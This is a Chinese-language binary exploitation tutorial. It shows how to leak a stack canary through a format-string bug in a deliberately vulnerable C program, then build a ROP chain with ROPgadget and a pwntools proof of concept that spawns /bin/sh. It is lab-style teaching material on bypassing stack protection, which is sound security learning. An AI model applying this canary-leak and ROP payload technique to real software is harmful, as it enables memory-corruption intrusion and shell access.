构造带有堆栈保护的指令流

DL_one

录用时间：2020.04.27
刊出时间：2020.05.20

0×01 引言

我们在学ropgadgets与ret2syscall技术原理时，构造指令流时，是没有加堆栈保护的，比如下面的程序：

文件名：7.c

1. #include <stdio.h>
   
2. #include <string.h>
   
3. #include <sys/types.h>
   
4. #include <unistd.h>
   
5. #include <sys/syscall.h>
   
6. void exploit()
   
7. {
   
8.     system("/bin/sh");
   
9. }
   
10. void func()
    
11. {
    
12.         char str[0x20];
    
13.         read(0,str,0x50);
    
14.         printf(str);
    
15.         read(0,str,0x50);
    
16. }
    
17. int main()
    
18. {
    
19.         func();
    
20.         return 0;
    
21. }

复制代码

我们是这样编译的，是没有加堆栈保护的，之后再利用ropgadgets构造指令流，就可以成功去执行execve(“/bin/sh”,null,null);。

gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c

如果加上堆栈保护我们该怎么过呢？像下面这样编译：

gcc -no-pie -fstack-protector -static -m32 -o 7.exe 7.c

显然我们就不能像原来一样构造指令流了，因为加入了堆栈保护。那我们该怎么办呢？我们可以利用格式化输出，将canary打印出来，然后再进行指令的组装。

0×02 找地址
调试我们的程序，找到canary的地址，地址在：0xffffcfac

继续调试，直到printf，我们看看现在canary据栈顶的位置：0060，除以4等于15，说明传给第一个read函数的值为：%15$08x，就可以将canary打印出来了

重新调试，找到read函数把读进来的数据存放的地址：0xffffcf8c

将%15$08x给read函数，发现可以将canary打印出来

接下来就是利用好第二个read函数来构造rop链了

0×03 构造rop链

linux上系统调用原理：

eax 系统调用号

ebx 第一个参数

ecx 第二个参数

edx 第三个参数

esi 第四个参数

edi 第五个参数

int 0×80

所以eax就存放execve函数的系统调用号11，ebx存放第一个参数/bin/sh，ecx存放第二个参数null，就是0，edx存放第三个参数，也是0

ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"

地址用：0x080b8546

ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

地址为：0x0806f210

ROPgadget --binary ./7.exe --string "/bin/sh"

地址用：0x080bbd80

ROPgadget --binary ./7.exe --only "int"|grep "0x80"

地址为：0x0806ce37

0×04 写出poc

1. from pwn import *
   
2. context(arch="i386",os="linux")
   
3. p=process('./7.exe')
   
4. p.sendline("%15$08x")
   
5. canary=p.recv()[:8]
   
6. print(canary)
   
7. canary=canary.decode("hex")[::-1]        
   
8. coffset=4*8                                                        
   
9. roffset=3*4                                       
   
10. add_eax=p32(0x080b8546)
    
11. value_eax=p32(0xb)
    
12. add_edx_ecx_ebx=p32(0x0806f210)
    
13. value_ebx=p32(0x080bbd80)
    
14. value_ecx=p32(0)
    
15. value_edx=p32(0)
    
16. add_int=p32(0x0806ce37)
    
17. payload=coffset*'a'+canary+roffset*'a'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
    
18. p.sendline(payload)
    
19. p.interactive()

复制代码

从from pwn import *到canary=canary.decode(“hex”)[::-1]都是为了找出canary，因为加了堆栈保护，我们不能直接把数据打入到堆栈中，所以要先找出canary，然后构造payload，我们要把canary加进去，过堆栈保护，再在后面加上我们的rop链。

执行成功

0×05 总结

开启了堆栈保护，加入了cookie，一旦我们破坏了堆栈，会引起系统保护，出现异常。但是我们还是需要构造我们的指令流，我们可以利用格式化输出，将canary打印出来，接下来我们可以利用读写函数，构造一个指令流，我们先去读，看一下堆栈的canary在哪里，然后我们canary搞出来，把canary再回填进去，进行组装，这样就即可以过堆栈保护，也可以构造我们的指令流了。